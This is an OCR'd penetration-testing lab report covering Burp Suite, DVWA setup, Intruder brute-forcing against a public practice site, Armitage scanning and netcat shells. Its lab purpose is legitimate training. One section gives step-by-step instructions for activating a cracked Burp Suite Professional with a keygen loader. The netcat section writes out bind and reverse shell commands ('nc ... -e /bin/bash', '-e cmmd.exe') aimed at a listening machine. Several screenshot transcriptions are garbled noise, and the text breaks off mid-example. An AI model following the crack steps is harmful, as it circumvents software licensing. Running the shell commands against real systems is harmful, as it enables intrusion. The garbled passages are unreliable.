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1. INTRODUCTION:

Burp Suite is an integrated platform/graphical tool for performing security
testing of web applications. Burp suite is a java application that can be used
to secure or crack web applications. The suite consists of different tools, like
a proxy server, a web spider an intruder and a so-called repeater, with which
requests can be automated. You can use Burp's automated and manual

tools to obtain detailed information about your target applications.

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is
damn vulnerable. Its main goals are to be an aid for security professionals to
test their skills and tools in a legal environment, help web developers better
understand the processes of securing web applications and aid
teachers/students to teach/learn web application security in a class room

environment.

In this report | am using a combination of Burp tools to detect and exploit
vulnerabilities in Damn Vulnerable Web App (DVWA) with low security. By
default, Burp Scanner scans all requests and responses that pass through
the proxy. Burp lists any issues that it identifies under Issue activity on the
Dashboard. You can also use Burp Scanner to actively audit for
vulnerabilities. Scanner sends additional requests and analyzes the

application's traffic and behavior to identify issues.

Various examples are outlined in this report for different types of
vulnerabilities such as: SQL injection, Cross Site Request Forgery (CSRF),

Cross-site scripting, File upload, Local and Remote File Inclusion. | tested



various types of penetration testing tools in order to exploit different types

of vulnerabilities. The report consists from the following parts:

1. Installing and Configuring BurpSuite

2. BurpSuite Intruder.

3. Installing XMAPP and DVWA App in Windows System.

4. Installing PHP, MySQL, Apache2, Python and DVWA App in Kali Linux.
5. Scanning Kali-Linux and Windows Using .

6. Understanding Netcat, Reverse Shells and Bind Shells.

7. Adding Burps Certificate to Browser.

8. Setting up Target Scope in BurpSuite.

9. Scanning Using BurpSuite.

10. Scan results for SQL Injection Vulnerability with BurpSuite and Using
SQLMAP to Exploit the SQL injection.

11. Scan Results for Operating System Command Injection Vulnerability with

BurpSuite and Using Commix to Exploit the OS Command Injection.

12. Scan Results for Cross Side Scripting (XSS) Vulnerability with BurpSuite,
Using Xserve to exploit XSS Injection and Stealing Web Login Session

Cookies through the XSS Injection.

13. Exploiting File Upload Vulnerability.

14: Exploiting Cross Site Request Forgery (CSRF) Vulnerability.
15. Exploiting File Inclusion Vulnerability.

16. References.






2. INSTALLING AND CONFIGURING
BURPSUITE:

a) Installing Community Edition of BurpSuite:

1. Go to official website of BurpSuite.
https://portswigger.net/burp

2. Go to community edition and download BurpSuite for Windows:
https://portswigger.net/burp/communitydownload

3. Install BurpSuite. In the first run burp is going to ask you to accept the

terms. Select “| agree”.

4. In this page temporary project is the automatic selection because
community version of burp suit does not allow you to save project into hard
disk.



Burp Suite Community Edition v2022,12.6 = O 4

@ Welcome to Burp Suite Community Edition. Use the optbons below to create or open a Burp SUitE

project. _ _
Carnrnunity Edition
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© Temporary project
Mew project on disk Hame:
File Choose lile
Dpen existing project Mame File
Fil hoose fil
| Pause Automated Tasks

5. Click next . You can use “Burp Defaults”. Or you can load configurations

from existing file. | am going to use the Burp defaults.

6. Then | got the following dashboard.
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7. From “Settings” menu you can choose the display font size.

| o QD o
 Tools
Proxy
Burp’s brgwier
~ Project
Tasks
Automatic backup
» Metwork
Connictiong
TS
 User interface

¥ Suite
REST AP
Updates

Temporary Ses location

@ Appearance
@} Use these seitings to control the appearance of Burp's user interlace,

Font size:
Theme: O Light ) Dark

14 g

(7) Learn tab display
@ Show of hice the Learn tab

[ show the Learn lab



8. In the “Event Log” section, it displays everything that you know burp suit
does in background. If any error pops up, then we can certainly identify in

the Log section and fix accordingly

9. Let’s understand how proxy works. Click on “Proxy” section. Proxy is the
essential part of BurpSuite because in the Proxy section we can monitor the
requests that you send out from your web browser and the responses that
you get back from server’s proxy. Proxy section also keeps track of the URLs
that you have visited. BurpSuite is basically proxy that sits between your
browser and server. When you setup proxy like BurpSuite, the request that
you send out from web browser gets intercepted by proxy, the request that
you send out from your web browser gets intercepted by the proxy , then
you decide what to do with the request whether to forward the request to
server to just to drop it and delete it. The proxy sections basically intercept
the URLs and then you can now forward the URLS and requests to

appropriate tools.

10. You can use burps embedded browser if you click on “Open browser”,
then it should open the embedded browser. The embedded browser is
specifically configured to work with BurpSuite and it basically comes on
along with the installation of BurpSuite. You can also configure external
browser to work with BurpSuite. In the defaults the proxy is configured to

listen to incoming traffic at local host port number 8080.

11. Example, make sure to turn the intercept on. Back to BurpSuite browser.
Request any website as example www.youtube.com. The BurpSuite browser
is flashing. If you go to “Proxy/Intercept” section you will see that the
BurpSuite proxy intercepted the request made from web browser. The
BurpSuite browser is hanging because it is waiting the BurpSuite proxy to

forward the request it is holding or it has intercepted. We can drop or delete



the request or we can forward the request. When we select forward, the
web page is loaded to the browser.
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12. BurpSuite browser removed the SSL layer. SSL layer encrypts the traffic
that the application received and sends out. BurpSuite needs data in plain

text to work.

13. “Proxy/Http history” section saves the URLs that you have visited.
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14. Click on “Target” tab. By default, the BurpSuite intercepts all web
applications or URLs you visit. And when you actually doing or testing a
website you actually don’t care about anything except the website or
application you are testing. We can use “Target Scope” feature in BurpSuite
to tell BurpSuite to crawl the application you are testing and it will ignore
everything except the application you are testing. Add the URL of the

website that you are interested to test.
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15. From “Proxy/Options” section, we must check “And URL” options in

“Intercept Client Requests” and “Intercept Server Requests” sections.



Burp Project  Intruder Repeater Window Help Eurp Suile Community

Dashboard Target Proxy intruder Repeater Sequencer Decoder Comparer Log
Intescept HTTP histony WebSockets history Options

() Intercept Client Requests

{C::} Use these settings Lo control which requests are stalled for viewing and editing in the intercept tab,

Intercept requests based on the following rules:

Add Enabled Operator Katch type Relationship Condition
Edit File extension Does not malch [~ gl jpgs|* pngsl~css5]*j55]...
Or Request Containg parameters
Remove or HTTP method Does not match {getipost) >
Up And URL Is in target scope
Down
Automatically fix missing or superfluous new lines at end of request
Automatically update Content-Length header when the request is edited
(7) Intercept Server Responses
{é} Use these settings Lo control which responses are stalled for viewing and editing in the Intércept tab,
Intercept responses based on the following rules:
Add | Enabled Operator  Match type Relationship Condition
Edit | Content type h... Matches text
[ Or Request Was modified
Remove ' or Request Was intercepted u
Up [ | And Status code Does not match ~ 3045 |
And URL Is in target scope
Down | |

Automatically update Content-Length header when the response is edited

16. In “Target/Site Map”, you can select filter to filter the links to show only
the “Target/Scope” URLs.



= b kA SR
{E} Filter by request type Filter by MIME type
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| Show only requeited items Script | images
" Show only patameterized requests XML Flash
E Hide not-found items s " Other binary
Filter by $¢arch term [Fro onky] Filter by file extengion
| ¥how onlys | aip,Mpxfip.php
Regex
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Shiar all Hide sl Revert changes

=

Fiter by status code Folders
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Iux [redirection]
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_| Show only commented items
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b) Installing Professional Edition of BurpSuite:

1. Professional Edition of BurpSuite is not available for free. But the crack of

Professional Edition is available on the internet.

2. | installed jdk-16_windows-x64 bin.exe to make it simpler to install

BurpSuite crack.

3. Download any BurpSuite crack from the internet. All cracks work in in
same way. As  example, | downloaded  the  crack  of
Burp_Suite Professional 2022.2.2 Beta in Windows. When you open the
folder, you get two files burploader.jar and burpsuite_pro v2022.2.2 jar.

| % burploader

| %] burpsuite_pro_v2022.2.2

™ learn all kind of hacking
|=| Readme

4. Run burploader.jar. Copy the License key and Press Run Button.



Barp Suite Pro 2.x Loader & Keygen

Burp Suite Pro 2.x Loader & Keygen
Notice: The new version of BurpSuite is available only for JAVA 94+

Loader Command: jarva -noverdy Javaagent:burploader.jar Jar burpsute_pro va020.1 2. 1. jar . Run .

License Text: | Leensad :b:}

2 27 SLuHONaTOT Z QUSn S GURHL AZKTMIDGEN s AN 2oh 0w gUIBOMS A mEp SUU P BpXaT O+ ¥ Ty Qe
2JOR+ Gd24 Zmdsa+ med VXD ZmUBEP LIS ZTBeow MY EUB 2EpYCelut 2n i Scfa Tm Dl e SWB s bkl

License: WFDLNBMEEGLGgENHUMEL L sUMubaT BES S dpV s SAA0MhSFMOFhASBNOEIZORDDKYOFhPVETR
AAUTFOG L 0V guyZ Ziy2UnG v TR pvE b s0oYnalP b EITPpSIC LR MESIguHQrRe Y TR By
'_-!'J'EIZI TIWGe ::gd IpeR3L

Activation Requost:

Activation Response:

5. Now go to command line and change directory to the into the same folder

you extracted the BURPSUITE file and type the below command:

> java -javaagent:burploaderjar -noverify -jar --illegal-access=permit
burpsuite_pro_v2022.2.2.jar

6. The BurpSuite Professional program will run. Press | Accept to agreement.



Burp Suite Pro Lx Loader & Keygen
Motice: The new version of BurpSuite is available only for JAVA 9+

Loader Command: Burp Suite Professional

License Text:

N C/PR+ GA24 Plabba rodd that Sollowwng Lo @ pgredmmamnt Carahelly, and ndC M0 wiertha? pou BCOapl 4
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EOr L DAL G ANY SOF TV ART KB T WERLITE AS ASPUCARLE TO Tl La0ENET
Activation “Equﬂ'itf AMD USE OF THAT S0F TWARE

Theia B Sul s Pradeiacasl Terma £ Coadiioni of Supply Loget bar wills Ehe d5amonti
rederred b B ["Terma) oo Bute 1ha Berrm mod dond P on s b Porrlangaar L1d
L wrid ] welll §ra6 Lo sy purt haiof &7 uierf (L ohier”] 8 Leends 15 uie Tha ss8twire
famprang Durp Suts Probriionsd Mhurp Seite Probmsas” o1 the “Sofware”], Rlewing
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Ml g cve Dunp by welmiEEing ansaymaan eedBack st 24 parkormanis

7. Copy the key and Paste it into license field, and click next.
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Laadar Command: [ AT RGN LD R AT L S Burpaut s pro wIOS0 121 FLisn

License Texd: cered 1o Absdul Samad

0.2 7L 40w 902 A G UL A MG E i et AN Thonia SgC DM dmE pSLUCptapYa 0« yCyOe
Cif e O 24 Tridd e e VRO Zenl HEE P LS I T oo W QUE LB ZE el @ M2y TS R T inDdioee L WEILEA KR
Licemye: | wFOWRRERG] CgENTPeRSEE ] IS TR BE QY ViU ADMPF M PR IBNCE D LD DE O FFFVETR
cWUTFOGE Sy 2 guy 2 Tty UnGas TP A by o el by DA E TP DA LI P MBS eI R Tl r iy
TA07 raGeld IpmAdL

g § Fro ap
Acthratlon Request; Brp St Professspnsd

Py prnaes $9 B ree e 0 e ey Tt jhawns furnbe piwe e bep bl
o b 0 B Tl ﬂ

o T T T TS0 oo g i ' T 5 W ol T s g g W Dl T
¥ T v

SV T A T R B D 5

w i e S S i I
VR g | T i L D L g i W T Lo Ty VA T i il

Adiivalion Responye;

R TS TR

8. Now Press on “MANUAL ACTIVATION”



Burp Suite Professional

Activate License

Burp will now attempt to contact the license server and activate your license. This will require
Internet access. Ifyou access the Internet via a web proxy server, please enter the details
below.

NOTE: license activations are monitored. If you perform too many activations, further
activations for this license may be prevented.

Use proxy server to connect

Cancel Re-enter license key Manual activation

9. Now follow the steps in below image and copy paste the activation codes

accordingly, and click next

Hufp Sute Fia 50 Losdef b Keygen
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| vader { command jEea roverly aevaagent baploads ar 40 biapuate pr
Lifemie Tent] £ e p By e 0 g

Birp St ¥ Protonn ol

CrRl piE L w N - e
L #nas

F

9 {prmarl Tt d et T T g S L Naalaat- Sty T T
g ey c Sl g ;
Al bk boers e 1 - il By E H il
. J L s ¢ 1 BT aall 1 Gy the el daip s v
TAEut Th A el ma s B N ks L

- =3 b n y . F LR R = N gl sl iy DY i
e LY A T S LR T A _ -y ¥

Aatbealion ey ponae;

B Pt boles 100 B 0o 0 e o 8 g e Bl 8 ot B

1 F oy oy Bl W oA i Vil

R s L g LICTER ] MR S T ]

Your BurpSuite Professional will be activated.



3. BURPSUITE INTRUDER:

1. BurpSuite is basically intruder that allows you to brute force usernames
and password in a web application. And the intruder is the most flexible tool
available out there for brute forcing and the intruder does a lot more than

brute forcing. You can automate attacks such as SQL injection or XSS as well.

2. The website we are going to test for intruder is from acunetix.com. This

website allows you to test your web pen testing skills online in legal

environment. Visit testphp.vulnweb.com

3. Go to the web page testphp.vulnweb.com

test and put any password.

E legin page

X+

& 5 O A Motsecure | testphpvulnweb.com/loginphp

M acunetix feleltkelg

home | Calegories

search art
I | T
Browse calegories
Browse arlists
Your can

Signup

Your profile

Our guesibock
AJAX Demo

Links

Securty an
PHP scanner
PHP vuln heip
Fracial Explorer

Acunetix Web Velnerability Scanner

artisls | disclaimer | your carl | guestbook | AJAX Demo

If you are already registered please enter your login information below:

Usemame . [sest |

Password . [vessesd ]

You can also signup here.
Signup disabled. Please use the username test and the password test.

and login with the username



4. In BurpSuite “Proxy/Intercept” section, you get the parameters that we
sent out to the form in the right side. You can see also the parameters from
“Request Body Parameters” section. We can send the information to any of

these tools: Intruder, Repeater, Sequencer, Decoder, Comparer.
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5. | sent the information to the intruder. The Intruder has flashed and

received the information.
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6. In the “Payload Positions”, BurpSuite has marked few areas. Basically,
these are the areas that we can inject the input. BurpSuite basically thinks

that these are the potentially vulnerable areas that you can exploit.

7. In the “Attack type” menu there are different types of attacks. We are
going to test Sniper attack. Sniper attack is used in the scenarios when you
know either the username or password. In our case we know the username
and we are going to test different passwords. As we | am going to test the
password field only, | selected it using “Add” option and | deselected the
username by using “Clear” option. That means we are going to inject

password in Password field.

8. Payload set = 1 this is because we have to supply one word list. In payload
tools we can provide all of the following tools that intruder provides. When
we choose payload type as simple list, we can either load the existing word
list from hard disk or we can supply words manually. In order to load from
hard disk, click on load and select the location. We can add lists manually

too. Then click start attack.
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9. Sniper starts now to inject passwords into password field. Intruder tried all
passwords we supplied to it. To know the correct password, we have to hunt
for different length. The different length was 6250 when the password was
“test”. We get whole bunch of information. Basically, when you login
successfully the web application has to pull additional information about the

user. So, the page size becomes bigger.

Attack  Sawe Columns L Infreder attack of hitpeiteitphpoulmaebcom - Temporary attack - Hot s, = O >

Reiufty Postions Payioads Resowre Pool Options

Filter: Showing all dems @
Requ... Paylead Statu Emer  Timeout! Length Comment

L] 102 253

1 02 253

2 yarier o2 253

L] mohamed 102 253

4 agwilem 302 253

5 test pute) 62150

] 02 253

Reguent Reiponie

Pretty Raw Hix Render w =5

+ HTTR/FL.L 200 0K

= Server: nginx/sL, 190

1 Date: Tue, 17 Jan 2023 0L:43:100 GHT

4 Content=Type: text/htmli charser=UTr-0

L Connection: close

{ ¥=Fovered-By: FHRF/S.6.40-30vubunctul0. 04, Léded . sury. oxgel
7 Sev=-Cookie: Loginecestilfoesc

! ¥-Centent-Incoding-{ver-Netvork: gzip

* Concant=-Length: 59632

i CIDOCTWRE HIML MUBLIC "=/ /WICS/DID HIHL 4.01 Tranmsitional//IN"®
e “heeprSiwvwe vl ong/TR/Mtald floose . dEd® >

10. Otherwise you can go to “Render” tab and it will show the page after

logging on.
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11. You can test similarly other types of attacks.

e |n battering ram attack, it takes a word in password list and inject the
word in both username and password fields.

e |n pitchfork mode we have to supply two-word lists. So, we have to
mark both username field and password field. We have two-word
lists, one for username and the other word list for password.

e last attack is cluster bomb. Cluster bomb is similar to pitchfork. It
takes two-word lists but it works differently. As example it takes one
word from word list and compares it against each word in password
list. And the same repeats for all usernames and passwords. We have
to mark the username field and password field. And we must select
the user list for first payload and password list for the second
payload.

12. The intruder can also do automated attacks like SQL injections and XSS.

13. Repeater can be used for modifying requests. Many times, you need to

perform SQL injection or XSS attacks manually using the repeater.



14. Decoder allows you to decode and data in multiple forms. We can also
basically apply hashing algorithm. Just click hash, then you have all relevant

hashes. If you click smart decode the data will be decoded into original form.

15. The extensions can extend the functionality of BurpSuite. If we go to
BApp store, there are extensions for BurpSuite in marketplace for both
community and free versions. You can install any extension of install option is

available. You can remove the extension anytime.
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4. INSTALLING XMAPP AND DVWA APP
IN WINDOWS SYSTEM:

| will show here the main steps to install XAMPP and DVWA in Windows
system.

1. Download XAMPP from https://www.apachefriends.org/index.htm|
2. Install XAMPP

3. From control panel, enable the XAMPP and MySQL servers.

[ xadm® Comirl Panal v L 1D | Compded dpe tth 3351 |

=) XAMPP Control Panel v3.3.0 o et

m-‘ Modgle PN} Pota)  Acboa g —
T saey [Come | [ aown || cosmg || iem o
L S 16 | mep ipwn || ol e Espleres
FieZin Tt T R ¥ St
[ErTe Tiad R Comiyg Leg T
Tl Teart ks Cosly | L B

PS03 PN eig] Situi chaach delected futieig

11 P pApacha]  Problem delected

L% H PN [Apacka] Pat 4] y "0 Pesgram Flad [l nyaite'Vidadie Wadilitoavmaate-Sitd sue” 4 "G Prigrasnisl s iwans Wt anky aml ™ wah PID ES]
VP (Apache|  Apaeche WILL HOT slet wihout e conlgared pons beel

L1 PN PApacka] Yo sbed b8 i1 5 ek bbbe il Orllore DN Bl hong o 3858
4P fhpacke) o reconfguen Apache and the Cortral Panel to katen on 3 deésent port

i PR [Agacha]  Alemptag 15 SLiet ADBiR M
INP RN [hgacks]  Adlemplng o stat Agache app

i PR PAZacks]  Dlatul chiee delenied Autetg

4. Download DVWA from https://github.com/digininja/DVWA. Extract the
folder DVWA-master.zip . Then copy it to the “XAMPP/htdocs” folder.

5. In the DVWA/Config folder, rename make copy of config.inc.php.dist and

rename it to config.inc.php.

6. We need to create the database and username and password that will
have privilege on DVWA database from MyPhpAdmin. In the config.inc.php

change setup the database parameters as the following

S_DVWA = array();



S_DVWA['db_server'] ='127.0.0.1";
S_DVWA[ 'db_database'] = 'dvwa’;
S_DVWA[ 'db_user'] ='dvwa
S_DVWA[ 'db_password' ] = 'password’;
S_DVWA[ 'db_port'] ='3306';

ariables
WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
Please use a database dedicaved to DVHA.

If you are using MariaDB then you cannot use root, you must use create a dedicated DWWA wser.
See README.md for more information on this,

L DVHA = array();

b DviA[ “db_server® ] = "127.0.0.1°;

b_Ovia[ ‘db_database® ] = “dvwa’;

b_DVHA[ “db_user" ] = “dvwa*;

b_OWA[ “db_password' ] = ‘password’;

}_OVWA[ ‘db_port’] = *3306°;

L)
i
L)
L)
#
¥

7. Go to http://localhost/phpmyadmin/ to create the DVWA database and

user privileges. Choose new, then create dvwa database.
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8. Choose the dvwa database and go to “Privileges” tab. Then select “Add

user account”.
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9. Now browse http://localhost/dvwa/. First time you login you must click
“Create/Reset” database in http://localhost/dvwa/setup.php page. And you
will get the following dashboard:
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5. INSTALLING PHP, MYSQL, APACHE2,
PYTHON AND DVWA APP IN KALI LINUX

a)_Installing PHP, MySQL and Apache? in Kali
Linux :

1. Before running through the steps of this tutorial, make sure that all of

your repositories are up to date:

# apt-het upgrade
# apt-get update

2. Install MySQL on Kali Linux:

By default, MySQL comes pre-installed on Kali Linux. If that's not the case
for you or maybe you messed up with MySQL, we can go ahead and install it
manually. If you have worked with Debian-based distributions, MySQL
comes in two packages: MySQL-server, MySQL-client. If they are not

installed, use the command below:
# sudo apt install default-mysql-server
# sudo apt install default-mysqgl-client

3. MySQL is a widely-deployed database management system used for
organizing and retrieving data. To install MySQL, open terminal and type in

these commands:



# apt-get install default-mysql-server

# apt-get install default-mysqgl-client
4. Start the Mysgl service with the command below:
# sudo service mysql start

You can check whether the service is running using the systemctl status

command below.
# systemctl status mysql
5. Finish up by running the MySQL set up script:

# sudo mysql_secure_installation
6. Apach2 usually installed by default during the Kali Linux installation. If not

installed, open terminal and type in this command:

# sudo apt-get install apache2
7. PHP comes installed in Kali Linux. PHP comes installed in Kali Linux. If
you want to install newest version, follow the instructions in previous

section to install latest version.

Remove old packages
# apt-get purge php
# apt-get purge php-*

To install latest version of PHP:
# apt-get install php php-pear php-mysql
To install additional PHP extensions, use the syntax below where xxx

stands for the extension name.

# sudo apt install php-xxx



e.g.
# sudo apt install php-
{cli,json,imap,bcmath,bz2,intl,gd,mbstring,mysql,zip}
8. Now, we need to configure the server. Use the command below to
change your location on the Terminal to point to /etc/php/8.2/apache?2

directory.

#cd /etc/php/8.2/apache2
Scroll down and look for these two lines: allow_url_fopen and

allow_url_include. Set them both as On. Save the file and Exit.
9. Finish up by restarting Apache:

# service apache? restart

10. Start Apache and any other service at boot on Kali Linux

# sudo update-rc.d apache2 enable
# update-rc.d postgresqgl enable

# service apache?2 status

# service postgresql status

11. To test this up, first create a new file:

# gedit /var/www/html/info.php
Add in the following line:

<?php
phpinfo();
>

Then Save and Exit.

12. Finish up by visiting your php info page (make sure you replace the
example IP address with your correct one): http://192.168.223.128/info.php






b)_Installing DVWA App in Kali Linux :

1.Go to the folder /var/www/html
# cd /var/www/html

2. Once in this directory, we will clone the DVWA GitHub repository with the

command below.
#sudo git clone https://github.com/digininja/DVWA
New folder with name DVWA was created in the directory /var/www/html

3. After downloading cloning DVWA in our /var/www/html directory, we still
need to do some minor configurations. | renamed the DVWA folder too dvwa

folder:
# mv DVWA dvwa-linux

To get started, let’s set read, write, and execute permissions to the DVWA

directory. Execute the command below.
# chmod -R 777 dvwa-Linux

4. After successfully executing the command, we need to set up the user and
password required to access the database. Change directory to point to the

config directory with the command below.
# cd dvwa-Linux/config

5. When you run the |Is command to view the files inside the directory, you
will see the config.inc.php.dist file. That is the original file containing the

default configurations. We won’t edit it. Instead, we will create a copy of this



file called config.inc.php and the original config.inc.php.dist file will act as
our backup in case things go wrong. Execute the command below.
# cp config.inc.php.dist config.inc.php

6. Run the command below to open the newly created file with text editor
and make the necessary changes, as shown in the image below. We will set

db_user as dvwa and db_password as password. Feel free to use a different

username or password.

7. Start the Mysql service with the command below:
# sudo service mysql start

You can check whether the service is running using the systemctl status

command below.
# systemctl status mysq|

8. Login to the MySQL database using the command below as root. If you
have another name set for the superuser in your system, use it instead of

root.
#sudo mysql -u root -p

You will see a prompt to enter the password. Just hit Enter since we haven’t
set any password. MySQL will open. We will create a new user with the
username and password set in our DVWA application configuration file. In
my case, the username was ‘dvwa,' and the password was ‘password.” The

server we are using is Localhost (127.0.0.1). Use the command below.



# create user dvwa@'127.0.0.1" identified by 'password’;

9. We need to grant this new user privilege over the dvwa database. Execute

the command below.

# grant all privileges on dvwa.* to 'dvwa'@'127.0.0.1" identified by

'password’;

10. Start Apache server using the command below:
#sudo service apache? start

To check whether the service started successfully, use the status command.
# systemctl status apache?

11. Access dvwa on your browser

That’s it! We now have everything configured, and we can proceed to launch
DVWA. Open your browser and enter the URL:

http://192.168.223.128/dvwa-linux/setup.php

That will open the setup.php web page: That will create and configure the
database. After some time, you will be redirected to the DVWA login page.

Log in with these credentials:Username —admin, Password - password

Once logged in, you will see the DVWA main page. On the left panel, we have
the different types of attacks you can exploit and the DVWA Security button
that allows you to choose the desired security level - Low, Medium, High, or

Impossible.

12. For new MariaDB installations, the next step is to run the included
security script. This script changes some of the less secure default options

for things like remote root logins and sample users. Run the security script:



#sudo mysqgl_secure_installation
This will take you through a series of prompts where you can make some

changes to your MariaDB installation’s security options.

13. Note that, when | will use DVWA installed in Windows in my tutorials |
will mention to it with http://localhost/dvwa or http://10.0.0.4/dvwa. While
when | will use the DVWA App installed in Kali Linux, | will mention to it by
the link address http://192.168.223.128/dvwa-linux.



c)_Installing Python3 with Python2 in Kali
Linux :

1. Install Python 2 on Debian:
#sudo apt install python2

2. Install Python 3 on Debian:
#sudo apt install python3

3. You can run the following Is command to find out what python binary

executables are available on your system:
#Is /usr/bin/python*

To check what is your default python version execute:
#python --version

4. Switching between python versions using update-alternatives:

¢ To change python version system-wide we can use update-
alternatives python command. Logged in as a root user, first list all
available python alternatives:

# update-alternatives --list python

e |f setting up virtual environments is not what you want to do, then
you can also use update-alternatives to switch between python
version. Run these two commands first, but make sure the python
versions match what you have on your computer

# sudo update-alternatives --install /usr/bin/python python
/usr/bin/python2.7 1



#sudo update-alternatives --install /usr/bin/python python
/usr/bin/python3.10 2

e You may then run update-alternatives with the --config option so
that you may select which version you want to choose to be the
default

#sudo update-alternatives --config python

e Use the interactive menu to select which version you would like to
use as the default. In order to check if your changes have worked
you can use python --version

5. Setting up virtual Environments:

e You can also setup virtual python environments using pip. Install pip
with the following command.

#sudo apt install python-pip

(to install pip3 for python3, use this command sudo apt install python3-pip)

e Check to see if your Python installation has pip. Enter the following
in your terminal:

# pip -h

¢ Install the virtualenv package. The virtualenv package is required to
create virtual environments. You can install it with pip:

# pip install virtualenv

e Create the virtual environment: To create a virtual environment, you
must specify a path. For example, to create one in the local
directory called ‘mypython’, type the following:

#virtualenv mypython

e You can activate the python environment by running the following
command:



# source mypython/bin/activate

e You should see the name of your virtual environment in brackets on
your terminal line e.g. (mypython). Any python commands you use
will now work with your virtual environment

e To deactivate the virtual environment and use your original Python
environment, simply type ‘deactivate’.

# deactivate
6. To install python-pip2
# curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
# sudo python2 get-pip.py
7. Install PIP for Python 3 using the following terminal command.
#sudo apt install python3-pip
8. Two methods to convert Python 2 to Python 3

#pip3 install 2to3
EX,

# 2to3 scripts -n -w -0 scripts3

Or,
# pip3 install modernize

# python-modernize --help



d)_Bringing_up network on boot-up when
NetworkManager is uninstalled?

1. Edit /etc/network/interfaces

# sudo gedit /etc/network/interfaces
e DHCP example
# Loopback

auto lo

iface lo inet loopback
# network card

auto ethO

iface ethO inet dhcp
e Static example looks like

# Loopback

auto lo

iface lo inet loopback
# network card

auto ethO

iface ethQ inet static
address 192.168.1.254

netmask 255.255.255.0



network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
2. Restart networking.
# sudo /etc/init.d/networking restart

3. If you use static, you might want to check /etc/resolv.conf to make sure

name servers have been specified. It might look like this:
nameserver 208.67.222.222 # OpenDNS

nameserver 8.8.8.8 # Google



6. SCANNING KALI-LINUX AND
WINDOWS USING ARMITAGE:

Armitage is not preinstalled in Kali Linux 2022.

1. Install Armitage in Kali Linux using the command
#sudo apt install armitage

2. After install, type the following commands to start Metasploit service and

open armitage
# service postgresql start
# sudo msfdb init
#sudo armitage

You will get the following screen:

iy |

el Connect...
Host 127.0.0.1
Port 55553
User msf
Pass *kkk
| Connect | | Help |

3. Click scan/host/quick scan. Enter the hostname or IP address you want to
scan for open port. As example, | scanned my Kali Linux device
http://192.168.223.128. | got the following ports open
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4. To discover the operating system click on Hosts/Nmap scan/ Quick scan
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5.To find Vulnerabilities on the Linux host click on Attacks/find attacks. Then
you will see the exploitable vulnerabilities by clicking the host and selecting

attacks. You can try any of the attacks.



6. | tried to scan the Window machine with the IP address 10.0.0.4. | got the

following ports open

= (g pafoad
i posl
193,168,225, 138
o
Cofpde I: nimap X | fmap X :rmql ]Ii

[*] Hmap
[*] Mmap
*] Mmap
"] Wmap
*] bmap
[*] iy
[*] eap
[*] Mg
*] Wmap
*] Mmap
*] Mmap
*] Mmap

*1 Hmap: B 1 IPF address {1 host upl scanned in 1.B4 secomds

7. To discover the operating system of the Windows machine 10.0.0.4, click
on Hosts/Nmap scan/ Quick scan (OS detect).
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8.Jo find Vulnerabilities on the Windows host click on Attacks/find attacks.

Then you will see the exploitable vulnerabilities by clicking the host and



selecting attacks. You can try any of the attacks.



7. UNDERSTANDING NETCAT, REVERSE

SHELLS AND BIND SHELLS:

1. Netcat is used to

e Scan and connect to arbitrary port.

e Create listener on local port

e Transfer file.

e Remote administration (reverse shell, bind shell)

nc [flag options] [target ip address] [port]
2. Option we will use:

e |=listen mode

e e=program to execute after connection is established

e n=don’t perform DNS lookup

e p=local port

e v=verbose
3. Netcat is installed by default in Kali-Linux but it is not installed in Windows.
You can download netcat for windows from:

e https://eternallybored.org/misc/netcat/
e https://github.com/diegocr/netcat

3. In these examples, | will use Kali-Linux with IP address: 192.168.223.128/

that will communicate with Windows machine that has IP address 10.0.0.4.

4. Example 1: To connect to any open port for any machine, as example to

connect to port 80 in Kali-Liux machine 192.168.223.128, use the command
#nc-nv 192.168.223.128

| got message that the port is open:



4. Example 2: In windows machine with IP address 10.0.0.4, | executed a
netcat command to listen to any connections to port 4444. The command

has the following form:

>nc -nvlp 4444

e |t will listen to any incoming connection to port 4444

nc -nvlp 4444

on [any] 4444 ...

e |n Kali Linux, | will make connection with the Windows machine at
port 4444 which the netcat is listening to:

# nc-nv 10.0.0.4 4444

e |t will show that port 4444 is open. So there is a connection path
between the Kali Linux machine and Window machine through the
port 4444,

e Now write a sentence from Kali Linux. Such as “Hello from Hidaia”.
We get the message at Windows netcat command

—nv 10.0.0.4 4444
(UNENOWN) [10.0.0.4] 4444 (7)) open
Hello from Hidaia

D:\netcat>nc -nvlp 4444
i n [any] 4444 ...
o [16.8.6.4] from (UNKNOWN) [16.6.8.4] 25618
Hello from Hidaia

5. Example 3: Now we want to forward the data received at the Windows

while listening to port 4444 to output file output.exe. The command has the

following form:



> nc -nvlp 4444 > output.exe

e So the Windows device of IP address 10.0.0.4 will listen to port 4444
and any incoming data received will be forwarded to file output.exe

e | have file in Kali-Linux (VoiceChanger.exe) in the folder
/home/hidaia. | am going through Netcat connection to transfer it to
Windows machine. | wrote the following command in the Kali Linux
machine :

# nc -nv 10.0.0.4 4444 < /home/hidaia/VoiceChanger.exe

The connection will be initiated. The file VoiceChanger.exe will be transferred

to Windows machine with the name output.exe

6. Example 4: In this example the Kali Linux user wants to remotely work on
the Windows machine. The Windows device of IP address 10.0.0.4 will listen
to port 4444, and any incoming connection received will forward it to

Windows command line terminal:
> nc -nlvp 4444 -e cmmd.exe

So any user that will connect to Windows machine through port 4444 will be
forwarded to the command line terminal cmmd.exe. In Kali Linux, we will write

the command
#nc-nv10.0.0.4 444

The Kali Linux user will get the command line terminal of the Windows

machine.
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F18.0.8.4 4444
(UNENOWN) [10.0.9.4] 4444 (7)) open
rosoft Windows [Version 18.8.19845.2
(c) Microsoft Corporation. ALl rights r

Volume in drive D is MNew
Volume Serial Number

Directory
<DIR>
<DIR>

getopt.c
65 getopt.h

7. Example 5: In this example the Windows user wants to remotely work on
the Kali Linux machine. The Windows device of IP address 10.0.0.4 will listen
to port 4444

#nc-nlvp 4444

e |n Kali linux machine, write the following command to connect to
Windows machine and run a program after the connection, which is
a bash command /bin/bash:

# nc -nv 10.0.0.4 4444 -e /bin/bash

e When the connection is initiated, the bash command terminal will
run at Windows where we can write commands to Kali Linux
machine remotely.



8. Example 6: The reverse shell means the victim connects to the attacker.

The target is connecting and the attack box is listening. The attacker in our
examples was the Windows machine of IP address 10.0.0.4 listening to port
4444 and so it will be open port. The Windows device of IP address 10.0.0.4
will listen to port 4444

#nc-nlvp 4444

e The victim Kali-Linux machine will make connection to the attacker
Windows machine through port 4444 and will run a program after
